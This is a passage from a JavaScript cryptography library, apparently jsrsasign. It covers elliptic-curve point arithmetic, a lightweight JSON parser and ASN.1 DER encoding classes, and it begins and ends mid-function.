        this.zinv = this.z.modInverse(this.curve.q)
    }
    return this.curve.fromBigInteger(this.x.toBigInteger().multiply(this.zinv).mod(this.curve.q))
}

function pointFpGetY() {
    if (this.zinv == null) {
        this.zinv = this.z.modInverse(this.curve.q)
    }
    return this.curve.fromBigInteger(this.y.toBigInteger().multiply(this.zinv).mod(this.curve.q))
}

function pointFpEquals(a) {
    if (a == this) {
        return true
    }
    if (this.isInfinity()) {
        return a.isInfinity()
    }
    if (a.isInfinity()) {
        return this.isInfinity()
    }
    var c, b;
    c = a.y.toBigInteger().multiply(this.z).subtract(this.y.toBigInteger().multiply(a.z)).mod(this.curve.q);
    if (!c.equals(BigInteger.ZERO)) {
        return false
    }
    b = a.x.toBigInteger().multiply(this.z).subtract(this.x.toBigInteger().multiply(a.z)).mod(this.curve.q);
    return b.equals(BigInteger.ZERO)
}

function pointFpIsInfinity() {
    if ((this.x == null) && (this.y == null)) {
        return true
    }
    return this.z.equals(BigInteger.ZERO) && !this.y.toBigInteger().equals(BigInteger.ZERO)
}

function pointFpNegate() {
    return new ECPointFp(this.curve, this.x, this.y.negate(), this.z)
}

function pointFpAdd(l) {
    if (this.isInfinity()) {
        return l
    }
    if (l.isInfinity()) {
        return this
    }
    var p = l.y.toBigInteger().multiply(this.z).subtract(this.y.toBigInteger().multiply(l.z)).mod(this.curve.q);
    var o = l.x.toBigInteger().multiply(this.z).subtract(this.x.toBigInteger().multiply(l.z)).mod(this.curve.q);
    if (BigInteger.ZERO.equals(o)) {
        if (BigInteger.ZERO.equals(p)) {
            return this.twice()
        }
        return this.curve.getInfinity()
    }
    var j = new BigInteger("3");
    var e = this.x.toBigInteger();
    var n = this.y.toBigInteger();
    var c = l.x.toBigInteger();
    var k = l.y.toBigInteger();
    var m = o.square();
    var i = m.multiply(o);
    var d = e.multiply(m);
    var g = p.square().multiply(this.z);
    var a = g.subtract(d.shiftLeft(1)).multiply(l.z).subtract(i).multiply(o).mod(this.curve.q);
    var h = d.multiply(j).multiply(p).subtract(n.multiply(i)).subtract(g.multiply(p)).multiply(l.z).add(p.multiply(i)).mod(this.curve.q);
    var f = i.multiply(this.z).multiply(l.z).mod(this.curve.q);
    return new ECPointFp(this.curve, this.curve.fromBigInteger(a), this.curve.fromBigInteger(h), f)
}

function pointFpTwice() {
    if (this.isInfinity()) {
        return this
    }
    if (this.y.toBigInteger().signum() == 0) {
        return this.curve.getInfinity()
    }
    var g = new BigInteger("3");
    var c = this.x.toBigInteger();
    var h = this.y.toBigInteger();
    var e = h.multiply(this.z);
    var j = e.multiply(h).mod(this.curve.q);
    var i = this.curve.a.toBigInteger();
    var k = c.square().multiply(g);
    if (!BigInteger.ZERO.equals(i)) {
        k = k.add(this.z.square().multiply(i))
    }
    k = k.mod(this.curve.q);
    var b = k.square().subtract(c.shiftLeft(3).multiply(j)).shiftLeft(1).multiply(e).mod(this.curve.q);
    var f = k.multiply(g).multiply(c).subtract(j.shiftLeft(1)).shiftLeft(2).multiply(j).subtract(k.square().multiply(k)).mod(this.curve.q);
    var d = e.square().multiply(e).shiftLeft(3).mod(this.curve.q);
    return new ECPointFp(this.curve, this.curve.fromBigInteger(b), this.curve.fromBigInteger(f), d)
}

function pointFpMultiply(b) {
    if (this.isInfinity()) {
        return this
    }
    if (b.signum() == 0) {
        return this.curve.getInfinity()
    }
    var g = b;
    var f = g.multiply(new BigInteger("3"));
    var l = this.negate();
    var d = this;
    var c;
    for (c = f.bitLength() - 2; c > 0; --c) {
        d = d.twice();
        var a = f.testBit(c);
        var j = g.testBit(c);
        if (a != j) {
            d = d.add(a ? this : l)
        }
    }
    return d
}

function pointFpMultiplyTwo(c, a, b) {
    var d;
    if (c.bitLength() > b.bitLength()) {
        d = c.bitLength() - 1
    } else {
        d = b.bitLength() - 1
    }
    var f = this.curve.getInfinity();
    var e = this.add(a);
    while (d >= 0) {
        f = f.twice();
        if (c.testBit(d)) {
            if (b.testBit(d)) {
                f = f.add(e)
            } else {
                f = f.add(this)
            }
        } else {
            if (b.testBit(d)) {
                f = f.add(a)
            }
        }--d
    }
    return f
}
ECPointFp.prototype.getX = pointFpGetX;
ECPointFp.prototype.getY = pointFpGetY;
ECPointFp.prototype.equals = pointFpEquals;
ECPointFp.prototype.isInfinity = pointFpIsInfinity;
ECPointFp.prototype.negate = pointFpNegate;
ECPointFp.prototype.add = pointFpAdd;
ECPointFp.prototype.twice = pointFpTwice;
ECPointFp.prototype.multiply = pointFpMultiply;
ECPointFp.prototype.multiplyTwo = pointFpMultiplyTwo;

function ECCurveFp(e, d, c) {
    this.q = e;
    this.a = this.fromBigInteger(d);
    this.b = this.fromBigInteger(c);
    this.infinity = new ECPointFp(this, null, null)
}

function curveFpGetQ() {
    return this.q
}

function curveFpGetA() {
    return this.a
}

function curveFpGetB() {
    return this.b
}

function curveFpEquals(a) {
    if (a == this) {
        return true
    }
    return (this.q.equals(a.q) && this.a.equals(a.a) && this.b.equals(a.b))
}

function curveFpGetInfinity() {
    return this.infinity
}

function curveFpFromBigInteger(a) {
    return new ECFieldElementFp(this.q, a)
}

function curveFpDecodePointHex(d) {
    switch (parseInt(d.substr(0, 2), 16)) {
        case 0:
            return this.infinity;
        case 2:
        case 3:
            return null;
        case 4:
        case 6:
        case 7:
            var a = (d.length - 2) / 2;
            var c = d.substr(2, a);
            var b = d.substr(a + 2, a);
            return new ECPointFp(this, this.fromBigInteger(new BigInteger(c, 16)), this.fromBigInteger(new BigInteger(b, 16)));
        default:
            return null
    }
}
ECCurveFp.prototype.getQ = curveFpGetQ;
ECCurveFp.prototype.getA = curveFpGetA;
ECCurveFp.prototype.getB = curveFpGetB;
ECCurveFp.prototype.equals = curveFpEquals;
ECCurveFp.prototype.getInfinity = curveFpGetInfinity;
ECCurveFp.prototype.fromBigInteger = curveFpFromBigInteger;
ECCurveFp.prototype.decodePointHex = curveFpDecodePointHex;
ECFieldElementFp.prototype.getByteLength = function() {
    return Math.floor((this.toBigInteger().bitLength() + 7) / 8)
};
ECPointFp.prototype.getEncoded = function(c) {
    var d = function(h, f) {
        var g = h.toByteArrayUnsigned();
        if (f < g.length) {
            g = g.slice(g.length - f)
        } else {
            while (f > g.length) {
                g.unshift(0)
            }
        }
        return g
    };
    var a = this.getX().toBigInteger();
    var e = this.getY().toBigInteger();
    var b = d(a, 32);
    if (c) {
        if (e.isEven()) {
            b.unshift(2)
        } else {
            b.unshift(3)
        }
    } else {
        b.unshift(4);
        b = b.concat(d(e, 32))
    }
    return b
};
ECPointFp.decodeFrom = function(g, c) {
    var f = c[0];
    var e = c.length - 1;
    var d = c.slice(1, 1 + e / 2);
    var b = c.slice(1 + e / 2, 1 + e);
    d.unshift(0);
    b.unshift(0);
    var a = new BigInteger(d);
    var h = new BigInteger(b);
    return new ECPointFp(g, g.fromBigInteger(a), g.fromBigInteger(h))
};
ECPointFp.decodeFromHex = function(g, c) {
    var f = c.substr(0, 2);
    var e = c.length - 2;
    var d = c.substr(2, e / 2);
    var b = c.substr(2 + e / 2, e / 2);
    var a = new BigInteger(d, 16);
    var h = new BigInteger(b, 16);
    return new ECPointFp(g, g.fromBigInteger(a), g.fromBigInteger(h))
};
ECPointFp.prototype.add2D = function(c) {
    if (this.isInfinity()) {
        return c
    }
    if (c.isInfinity()) {
        return this
    }
    if (this.x.equals(c.x)) {
        if (this.y.equals(c.y)) {
            return this.twice()
        }
        return this.curve.getInfinity()
    }
    var g = c.x.subtract(this.x);
    var e = c.y.subtract(this.y);
    var a = e.divide(g);
    var d = a.square().subtract(this.x).subtract(c.x);
    var f = a.multiply(this.x.subtract(d)).subtract(this.y);
    return new ECPointFp(this.curve, d, f)
};
ECPointFp.prototype.twice2D = function() {
    if (this.isInfinity()) {
        return this
    }
    if (this.y.toBigInteger().signum() == 0) {
        return this.curve.getInfinity()
    }
    var b = this.curve.fromBigInteger(BigInteger.valueOf(2));
    var e = this.curve.fromBigInteger(BigInteger.valueOf(3));
    var a = this.x.square().multiply(e).add(this.curve.a).divide(this.y.multiply(b));
    var c = a.square().subtract(this.x.multiply(b));
    var d = a.multiply(this.x.subtract(c)).subtract(this.y);
    return new ECPointFp(this.curve, c, d)
};
ECPointFp.prototype.multiply2D = function(b) {
    if (this.isInfinity()) {
        return this
    }
    if (b.signum() == 0) {
        return this.curve.getInfinity()
    }
    var g = b;
    var f = g.multiply(new BigInteger("3"));
    var l = this.negate();
    var d = this;
    var c;
    for (c = f.bitLength() - 2; c > 0; --c) {
        d = d.twice();
        var a = f.testBit(c);
        var j = g.testBit(c);
        if (a != j) {
            d = d.add2D(a ? this : l)
        }
    }
    return d
};
ECPointFp.prototype.isOnCurve = function() {
    var d = this.getX().toBigInteger();
    var i = this.getY().toBigInteger();
    var f = this.curve.getA().toBigInteger();
    var c = this.curve.getB().toBigInteger();
    var h = this.curve.getQ();
    var e = i.multiply(i).mod(h);
    var g = d.multiply(d).multiply(d).add(f.multiply(d)).add(c).mod(h);
    return e.equals(g)
};
ECPointFp.prototype.toString = function() {
    return "(" + this.getX().toBigInteger().toString() + "," + this.getY().toBigInteger().toString() + ")"
};
ECPointFp.prototype.validate = function() {
    var c = this.curve.getQ();
    if (this.isInfinity()) {
        throw new Error("Point is at infinity.")
    }
    var a = this.getX().toBigInteger();
    var b = this.getY().toBigInteger();
    if (a.compareTo(BigInteger.ONE) < 0 || a.compareTo(c.subtract(BigInteger.ONE)) > 0) {
        throw new Error("x coordinate out of bounds")
    }
    if (b.compareTo(BigInteger.ONE) < 0 || b.compareTo(c.subtract(BigInteger.ONE)) > 0) {
        throw new Error("y coordinate out of bounds")
    }
    if (!this.isOnCurve()) {
        throw new Error("Point is not on the curve.")
    }
    if (this.multiply(c).isInfinity()) {
        throw new Error("Point is not a scalar multiple of G.")
    }
    return true
};
var jsonParse = (function() {
    var e = "(?:-?\\b(?:0|[1-9][0-9]*)(?:\\.[0-9]+)?(?:[eE][+-]?[0-9]+)?\\b)";
    var j = '(?:[^\\0-\\x08\\x0a-\\x1f"\\\\]|\\\\(?:["/\\\\bfnrt]|u[0-9A-Fa-f]{4}))';
    var i = '(?:"' + j + '*")';
    var d = new RegExp("(?:false|true|null|[\\{\\}\\[\\]]|" + e + "|" + i + ")", "g");
    var k = new RegExp("\\\\(?:([^u])|u(.{4}))", "g");
    var g = {
        '"': '"',
        "/": "/",
        "\\": "\\",
        b: "\b",
        f: "\f",
        n: "\n",
        r: "\r",
        t: "\t"
    };

    function h(l, m, n) {
        return m ? g[m] : String.fromCharCode(parseInt(n, 16))
    }
    var c = new String("");
    var a = "\\";
    var f = {
        "{": Object,
        "[": Array
    };
    var b = Object.hasOwnProperty;
    return function(u, q) {
        var p = u.match(d);
        var x;
        var v = p[0];
        var l = false;
        if ("{" === v) {
            x = {}
        } else {
            if ("[" === v) {
                x = []
            } else {
                x = [];
                l = true
            }
        }
        var t;
        var r = [x];
        for (var o = 1 - l, m = p.length; o < m; ++o) {
            v = p[o];
            var w;
            switch (v.charCodeAt(0)) {
                default: w = r[0];w[t || w.length] = +(v);t = void 0;
                break;
                case 34:
                        v = v.substring(1, v.length - 1);
                    if (v.indexOf(a) !== -1) {
                        v = v.replace(k, h)
                    }
                    w = r[0];
                    if (!t) {
                        if (w instanceof Array) {
                            t = w.length
                        } else {
                            t = v || c;
                            break
                        }
                    }
                    w[t] = v;t = void 0;
                    break;
                case 91:
                        w = r[0];r.unshift(w[t || w.length] = []);t = void 0;
                    break;
                case 93:
                        r.shift();
                    break;
                case 102:
                        w = r[0];w[t || w.length] = false;t = void 0;
                    break;
                case 110:
                        w = r[0];w[t || w.length] = null;t = void 0;
                    break;
                case 116:
                        w = r[0];w[t || w.length] = true;t = void 0;
                    break;
                case 123:
                        w = r[0];r.unshift(w[t || w.length] = {});t = void 0;
                    break;
                case 125:
                        r.shift();
                    break
            }
        }
        if (l) {
            if (r.length !== 1) {
                throw new Error()
            }
            x = x[0]
        } else {
            if (r.length) {
                throw new Error()
            }
        }
        if (q) {
            var s = function(C, B) {
                var D = C[B];
                if (D && typeof D === "object") {
                    var n = null;
                    for (var z in D) {
                        if (b.call(D, z) && D !== C) {
                            var y = s(D, z);
                            if (y !== void 0) {
                                D[z] = y
                            } else {
                                if (!n) {
                                    n = []
                                }
                                n.push(z)
                            }
                        }
                    }
                    if (n) {
                        for (var A = n.length; --A >= 0;) {
                            delete D[n[A]]
                        }
                    }
                }
                return q.call(C, B, D)
            };
            x = s({
                "": x
            }, "")
        }
        return x
    }
})();
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.asn1 == "undefined" || !KJUR.asn1) {
    KJUR.asn1 = {}
}
KJUR.asn1.ASN1Util = new function() {
    this.integerToByteHex = function(a) {
        var b = a.toString(16);
        if ((b.length % 2) == 1) {
            b = "0" + b
        }
        return b
    };
    this.bigIntToMinTwosComplementsHex = function(j) {
        var f = j.toString(16);
        if (f.substr(0, 1) != "-") {
            if (f.length % 2 == 1) {
                f = "0" + f
            } else {
                if (!f.match(/^[0-7]/)) {
                    f = "00" + f
                }
            }
        } else {
            var a = f.substr(1);
            var e = a.length;
            if (e % 2 == 1) {
                e += 1
            } else {
                if (!f.match(/^[0-7]/)) {
                    e += 2
                }
            }
            var g = "";
            for (var d = 0; d < e; d++) {
                g += "f"
            }
            var c = new BigInteger(g, 16);
            var b = c.xor(j).add(BigInteger.ONE);
            f = b.toString(16).replace(/^-/, "")
        }
        return f
    };
    this.getPEMStringFromHex = function(a, b) {
        return hextopem(a, b)
    };
    this.newObject = function(k) {
        var D = KJUR,
            n = D.asn1,
            z = n.DERBoolean,
            e = n.DERInteger,
            s = n.DERBitString,
            h = n.DEROctetString,
            v = n.DERNull,
            w = n.DERObjectIdentifier,
            l = n.DEREnumerated,
            g = n.DERUTF8String,
            f = n.DERNumericString,
            y = n.DERPrintableString,
            u = n.DERTeletexString,
            p = n.DERIA5String,
            C = n.DERUTCTime,
            j = n.DERGeneralizedTime,
            m = n.DERSequence,
            c = n.DERSet,
            r = n.DERTaggedObject,
            o = n.ASN1Util.newObject;
        var t = Object.keys(k);
        if (t.length != 1) {
            throw "key of param shall be only one."
        }
        var F = t[0];
        if (":bool:int:bitstr:octstr:null:oid:enum:utf8str:numstr:prnstr:telstr:ia5str:utctime:gentime:seq:set:tag:".indexOf(":" + F + ":") == -1) {
            throw "undefined key:" + F
        }
        if (F == "bool") {
            return new z(k[F])
        }
        if (F == "int") {
            return new e(k[F])
        }
        if (F == "bitstr") {
            return new s(k[F])
        }
        if (F == "octstr") {
            return new h(k[F])
        }
        if (F == "null") {
            return new v(k[F])
        }
        if (F == "oid") {
            return new w(k[F])
        }
        if (F == "enum") {
            return new l(k[F])
        }
        if (F == "utf8str") {
            return new g(k[F])
        }
        if (F == "numstr") {
            return new f(k[F])
        }
        if (F == "prnstr") {
            return new y(k[F])
        }
        if (F == "telstr") {
            return new u(k[F])
        }
        if (F == "ia5str") {
            return new p(k[F])
        }
        if (F == "utctime") {
            return new C(k[F])
        }
        if (F == "gentime") {
            return new j(k[F])
        }
        if (F == "seq") {
            var d = k[F];
            var E = [];
            for (var x = 0; x < d.length; x++) {
                var B = o(d[x]);
                E.push(B)
            }
            return new m({
                array: E
            })
        }
        if (F == "set") {
            var d = k[F];
            var E = [];
            for (var x = 0; x < d.length; x++) {
                var B = o(d[x]);
                E.push(B)
            }
            return new c({
                array: E
            })
        }
        if (F == "tag") {
            var A = k[F];
            if (Object.prototype.toString.call(A) === "[object Array]" && A.length == 3) {
                var q = o(A[2]);
                return new r({
                    tag: A[0],
                    explicit: A[1],
                    obj: q
                })
            } else {
                var b = {};
                if (A.explicit !== undefined) {
                    b.explicit = A.explicit
                }
                if (A.tag !== undefined) {
                    b.tag = A.tag
                }
                if (A.obj === undefined) {
                    throw "obj shall be specified for 'tag'."
                }
                b.obj = o(A.obj);
                return new r(b)
            }
        }
    };
    this.jsonToASN1HEX = function(b) {
        var a = this.newObject(b);
        return a.getEncodedHex()
    }
};
KJUR.asn1.ASN1Util.oidHexToInt = function(a) {
    var j = "";
    var k = parseInt(a.substr(0, 2), 16);
    var d = Math.floor(k / 40);
    var c = k % 40;
    var j = d + "." + c;
    var e = "";
    for (var f = 2; f < a.length; f += 2) {
        var g = parseInt(a.substr(f, 2), 16);
        var h = ("00000000" + g.toString(2)).slice(-8);
        e = e + h.substr(1, 7);
        if (h.substr(0, 1) == "0") {
            var b = new BigInteger(e, 2);
            j = j + "." + b.toString(10);
            e = ""
        }
    }
    return j
};
KJUR.asn1.ASN1Util.oidIntToHex = function(f) {
    var e = function(a) {
        var k = a.toString(16);
        if (k.length == 1) {
            k = "0" + k
        }
        return k
    };
    var d = function(o) {
        var n = "";
        var k = new BigInteger(o, 10);
        var a = k.toString(2);
        var l = 7 - a.length % 7;
        if (l == 7) {
            l = 0
        }
        var q = "";
        for (var m = 0; m < l; m++) {
            q += "0"
        }
        a = q + a;
        for (var m = 0; m < a.length - 1; m += 7) {
            var p = a.substr(m, 7);
            if (m != a.length - 7) {
                p = "1" + p
            }
            n += e(parseInt(p, 2))
        }
        return n
    };
    if (!f.match(/^[0-9.]+$/)) {
        throw "malformed oid string:" + f
    }
    var g = "";
    var b = f.split(".");
    var j = parseInt(b[0]) * 40 + parseInt(b[1]);
    g += e(j);
    b.splice(0, 2);
    for (var c = 0; c < b.length; c++) {
        g += d(b[c])
    }
    return g
};
KJUR.asn1.ASN1Object = function() {
    var c = true;
    var b = null;
    var d = "00";
    var e = "00";
    var a = "";
    this.getLengthHexFromValue = function() {
        if (typeof this.hV == "undefined" || this.hV == null) {
            throw "this.hV is null or undefined."
        }
        if (this.hV.length % 2 == 1) {
            throw "value hex must be even length:n=" + a.length + ",v=" + this.hV
        }
        var i = this.hV.length / 2;
        var h = i.toString(16);
        if (h.length % 2 == 1) {
            h = "0" + h
        }
        if (i < 128) {
            return h
        } else {
            var g = h.length / 2;
            if (g > 15) {
                throw "ASN.1 length too long to represent by 8x:n =" + i.toString(16)
            }
            var f = 128 + g;
            return f.toString(16) + h
        }
    };
    this.getEncodedHex = function() {
        if (this.hTLV == null || this.isModified) {
            this.hV = this.getFreshValueHex();
            this.hL = this.getLengthHexFromValue();
            this.hTLV = this.hT + this.hL + this.hV;
            this.isModified = false
        }
        return this.hTLV
    };
    this.getValueHex = function() {
        this.getEncodedHex();
        return this.hV
    };
    this.getFreshValueHex = function() {
        return ""
    }
};
KJUR.asn1.DERAbstractString = function(c) {
    KJUR.asn1.DERAbstractString.superclass.constructor.call(this);
    var b = null;
    var a = null;
    this.getString = function() {
        return this.s
    };
    this.setString = function(d) {
        this.hTLV = null;
        this.isModified = true;
        this.s = d;
        this.hV = stohex(this.s)
    };
    this.setStringHex = function(d) {
        this.hTLV = null;
        this.isModified = true;
        this.s = null;
        this.hV = d
    };
    this.getFreshValueHex = function() {
        return this.hV
    };
    if (typeof c != "undefined") {
        if (typeof c == "string") {
            this.setString(c)
        } else {
            if (typeof c.str != "undefined") {
                this.setString(c.str)
            } else {
                if (typeof c.hex != "undefined") {
                    this.setStringHex(c.hex)
                }
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERAbstractString, KJUR.asn1.ASN1Object);
KJUR.asn1.DERAbstractTime = function(c) {
    KJUR.asn1.DERAbstractTime.superclass.constructor.call(this);
    var b = null;
    var a = null;
    this.localDateToUTC = function(f) {
        utc = f.getTime() + (f.getTimezoneOffset() * 60000);
        var e = new Date(utc);
        return e
    };
    this.formatDate = function(m, o, e) {
        var g = this.zeroPadding;
        var n = this.localDateToUTC(m);
        var p = String(n.getFullYear());
        if (o == "utc") {
            p = p.substr(2, 2)
        }
        var l = g(String(n.getMonth() + 1), 2);
        var q = g(String(n.getDate()), 2);
        var h = g(String(n.getHours()), 2);
        var i = g(String(n.getMinutes()), 2);
        var j = g(String(n.getSeconds()), 2);
        var r = p + l + q + h + i + j;
        if (e === true) {
            var f = n.getMilliseconds();
            if (f != 0) {
                var k = g(String(f), 3);
                k = k.replace(/[0]+$/, "");
                r = r + "." + k
            }
        }
        return r + "Z"
    };
    this.zeroPadding = function(e, d) {
        if (e.length >= d) {
            return e
        }
        return new Array(d - e.length + 1).join("0") + e
    };
    this.getString = function() {
        return this.s
    };
    this.setString = function(d) {
        this.hTLV = null;
        this.isModified = true;
        this.s = d;
        this.hV = stohex(d)
    };
    this.setByDateValue = function(h, j, e, d, f, g) {
        var i = new Date(Date.UTC(h, j - 1, e, d, f, g, 0));
        this.setByDate(i)
    };
    this.getFreshValueHex = function() {
        return this.hV
    }
};
YAHOO.lang.extend(KJUR.asn1.DERAbstractTime, KJUR.asn1.ASN1Object);
KJUR.asn1.DERAbstractStructured = function(b) {
    KJUR.asn1.DERAbstractString.superclass.constructor.call(this);
    var a = null;
    this.setByASN1ObjectArray = function(c) {
        this.hTLV = null;
        this.isModified = true;
        this.asn1Array = c
    };
    this.appendASN1Object = function(c) {
        this.hTLV = null;
        this.isModified = true;
        this.asn1Array.push(c)
    };
    this.asn1Array = new Array();
    if (typeof b != "undefined") {
        if (typeof b.array != "undefined") {
            this.asn1Array = b.array
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERAbstractStructured, KJUR.asn1.ASN1Object);
KJUR.asn1.DERBoolean = function() {
    KJUR.asn1.DERBoolean.superclass.constructor.call(this);
    this.hT = "01";
    this.hTLV = "0101ff"
};
YAHOO.lang.extend(KJUR.asn1.DERBoolean, KJUR.asn1.ASN1Object);
KJUR.asn1.DERInteger = function(a) {
    KJUR.asn1.DERInteger.superclass.constructor.call(this);
    this.hT = "02";
    this.setByBigInteger = function(b) {
        this.hTLV = null;
        this.isModified = true;
        this.hV = KJUR.asn1.ASN1Util.bigIntToMinTwosComplementsHex(b)
    };
    this.setByInteger = function(c) {
        var b = new BigInteger(String(c), 10);
        this.setByBigInteger(b)
    };
    this.setValueHex = function(b) {
        this.hV = b
    };
    this.getFreshValueHex = function() {
        return this.hV
    };
    if (typeof a != "undefined") {
        if (typeof a.bigint != "undefined") {
            this.setByBigInteger(a.bigint)
        } else {
            if (typeof a["int"] != "undefined") {
                this.setByInteger(a["int"])
            } else {
                if (typeof a == "number") {
                    this.setByInteger(a)
                } else {
                    if (typeof a.hex != "undefined") {
                        this.setValueHex(a.hex)
                    }
                }
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERInteger, KJUR.asn1.ASN1Object);
KJUR.asn1.DERBitString = function(b) {
    if (b !== undefined && typeof b.obj !== "undefined") {
        var a = KJUR.asn1.ASN1Util.newObject(b.obj);
        b.hex = "00" + a.getEncodedHex()
    }
    KJUR.asn1.DERBitString.superclass.constructor.call(this);
    this.hT = "03";
    this.setHexValueIncludingUnusedBits = function(c) {
        this.hTLV = null;
        this.isModified = true;
        this.hV = c
    };
    this.setUnusedBitsAndHexValue = function(c, e) {
        if (c < 0 || 7 < c) {
            throw "unused bits shall be from 0 to 7:u =" + c
        }
        var d = "0" + c;
        this.hTLV = null;
        this.isModified = true;
        this.hV = d + e
    };
    this.setByBinaryString = function(e) {
        e = e.replace(/0+$/, "");
        var f = 8 - e.length % 8;
        if (f == 8) {
            f = 0
        }
        for (var g = 0; g <= f; g++) {
            e += "0"
        }
        var j = "";
        for (var g = 0; g < e.length - 1; g += 8) {
            var d = e.substr(g, 8);
            var c = parseInt(d, 2).toString(16);
            if (c.length == 1) {
                c = "0" + c
            }
            j += c
        }
        this.hTLV = null;
        this.isModified = true;
        this.hV = "0" + f + j
    };
    this.setByBooleanArray = function(e) {
        var d = "";
        for (var c = 0; c < e.length; c++) {
            if (e[c] == true) {
                d += "1"
            } else {
                d += "0"
            }
        }
        this.setByBinaryString(d)
    };
    this.newFalseArray = function(e) {
        var c = new Array(e);
        for (var d = 0; d < e; d++) {
            c[d] = false
        }
        return c
    };
    this.getFreshValueHex = function() {
        return this.hV
    };
    if (typeof b != "undefined") {
        if (typeof b == "string" && b.toLowerCase().match(/^[0-9a-f]+$/)) {
            this.setHexValueIncludingUnusedBits(b)
        } else {
            if (typeof b.hex != "undefined") {
                this.setHexValueIncludingUnusedBits(b.hex)
            } else {
                if (typeof b.bin != "undefined") {
                    this.setByBinaryString(b.bin)
                } else {
                    if (typeof b.array != "undefined") {
                        this.setByBooleanArray(b.array)
                    }
                }
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERBitString, KJUR.asn1.ASN1Object);
KJUR.asn1.DEROctetString = function(b) {
    if (b !== undefined && typeof b.obj !== "undefined") {
        var a = KJUR.asn1.ASN1Util.newObject(b.obj);
        b.hex = a.getEncodedHex()
    }
    KJUR.asn1.DEROctetString.superclass.constructor.call(this, b);
    this.hT = "04"
};
YAHOO.lang.extend(KJUR.asn1.DEROctetString, KJUR.asn1.DERAbstractString);
KJUR.asn1.DERNull = function() {
    KJUR.asn1.DERNull.superclass.constructor.call(this);
    this.hT = "05";
    this.hTLV = "0500"
};
YAHOO.lang.extend(KJUR.asn1.DERNull, KJUR.asn1.ASN1Object);
KJUR.asn1.DERObjectIdentifier = function(c) {
    var b = function(d) {
        var e = d.toString(16);
        if (e.length == 1) {
            e = "0" + e
        }
        return e
    };
    var a = function(k) {
        var j = "";
        var e = new BigInteger(k, 10);
        var d = e.toString(2);
        var f = 7 - d.length % 7;
        if (f == 7) {
            f = 0
        }
        var m = "";
        for (var g = 0; g < f; g++) {
            m += "0"
        }
        d = m + d;
        for (var g = 0; g < d.length - 1; g += 7) {
            var l = d.substr(g, 7);
            if (g != d.length - 7) {
                l = "1" + l
            }
            j += b(parseInt(l, 2))
        }
        return j
    };
    KJUR.asn1.DERObjectIdentifier.superclass.constructor.call(this);
    this.hT = "06";
    this.setValueHex = function(d) {
        this.hTLV = null;
        this.isModified = true;
        this.s = null;
        this.hV = d
    };
    this.setValueOidString = function(f) {
        if (!f.match(/^[0-9.]+$/)) {
            throw "malformed oid string:" + f
        }
        var g = "";
        var d = f.split(".");
        var j = parseInt(d[0]) * 40 + parseInt(d[1]);
        g += b(j);
        d.splice(0, 2);
        for (var e = 0; e < d.length; e++) {
            g += a(d[e])
        }
        this.hTLV = null;
        this.isModified = true;
        this.s = null;
        this.hV = g
    };
    this.setValueName = function(e) {
        var d = KJUR.asn1.x509.OID.name2oid(e);
        if (d !== "") {
            this.setValueOidString(d)
        } else {
            throw "DERObjectIdentifier oidName undefined:" + e
        }
    };
    this.getFreshValueHex = function() {
        return this.hV
    };
    if (c !== undefined) {
        if (typeof c === "string") {
            if (c.match(/^[0-2].[0-9.]+$/)) {
                this.setValueOidString(c)
            } else {
                this.setValueName(c)
            }
        } else {
            if (c.oid !== undefined) {
                this.setValueOidString(c.oid)
            } else {
                if (c.hex !== undefined) {
                    this.setValueHex(c.hex)
                } else {
                    if (c.name !== undefined) {
                        this.setValueName(c.name)
                    }
                }
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DERObjectIdentifier, KJUR.asn1.ASN1Object);
KJUR.asn1.DEREnumerated = function(a) {
    KJUR.asn1.DEREnumerated.superclass.constructor.call(this);
    this.hT = "0a";
    this.setByBigInteger = function(b) {
        this.hTLV = null;
        this.isModified = true;
        this.hV = KJUR.asn1.ASN1Util.bigIntToMinTwosComplementsHex(b)
    };
    this.setByInteger = function(c) {
        var b = new BigInteger(String(c), 10);
        this.setByBigInteger(b)
    };
    this.setValueHex = function(b) {
        this.hV = b
    };
    this.getFreshValueHex = function() {
        return this.hV
    };
    if (typeof a != "undefined") {
        if (typeof a["int"] != "undefined") {
            this.setByInteger(a["int"])
        } else {
            if (typeof a == "number") {
                this.setByInteger(a)
            } else {
                if (typeof a.hex != "undefined") {
                    this.setValueHex(a.hex)
                }
            }
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.DEREnumerated, KJUR.asn1.ASN1Object);
KJUR.asn1.DERUTF8String = function(a) {
    KJUR.asn1.DERUTF8String.superclass.constructor.call(this, a);
    this.hT = "0c"
};
YAHOO.lang.extend(KJUR.asn1.DERUTF8String, KJUR.asn1.DERAbstractString);
KJUR.asn1.DERNumericString = function(a) {
    KJUR.asn1.DERNumericString.superclass.constructor.call(this, a);
    this.hT = "12"
};
YAHOO.lang.extend(KJUR.asn1.DERNumericString, KJUR.asn1.DERAbstractString);
KJUR.asn1.DERPrintableString = function(a) {
    KJUR.asn1.DERPrintableString.superclass.constructor.call(this, a);
    this.hT = "13"
};
YAHOO.lang.extend(KJUR.asn1.DERPrintableString, KJUR.asn1.DERAbstractString);
KJUR.asn1.DERTeletexString = function(a) {
    KJUR.asn1.DERTeletexString.superclass.constructor.call(this, a);
    this.hT = "14"
};
YAHOO.lang.extend(KJUR.asn1.DERTeletexString, KJUR.asn1.DERAbstractString);
KJUR.asn1.DERIA5String = function(a) {
    KJUR.asn1.DERIA5String.superclass.constructor.call(this, a);
    this.hT = "16"
};
YAHOO.lang.extend(KJUR.asn1.DERIA5String, KJUR.asn1.DERAbstractString);
KJUR.asn1.DERUTCTime = function(a) {
    KJUR.asn1.DERUTCTime.superclass.constructor.call(this, a);
    this.hT = "17";
    this.setByDate = function(b) {
        this.hTLV = null;
        this.isModified = true;
        this.date = b;
        this.s = this.formatDate(this.date, "utc");
        this.hV = stohex(this.s)
    };
    this.getFreshValueHex = function() {
        if (typeof this.date == "undefined" && typeof this.s == "undefined") {
            this.date = new Date();
            this.s = this.formatDate(this.date, "utc");
            this.hV = stohex(this.s)
        }
        return this.hV
    };
    if (a !== undefined) {
        if (a.str !== undefined) {
            this.setString(a.str)
        } else {
            if (typeof a == "string" && a.match(/^[0-9]{12}Z$/)) {
                this.setString(a)
            } else {
                if (a.hex !== undefined) {
                    this.setStringHex(a.hex)
                } else {
                    if (a.date !== undefined) {
                        this.setByDate(a.date)
                    }
                }
            }
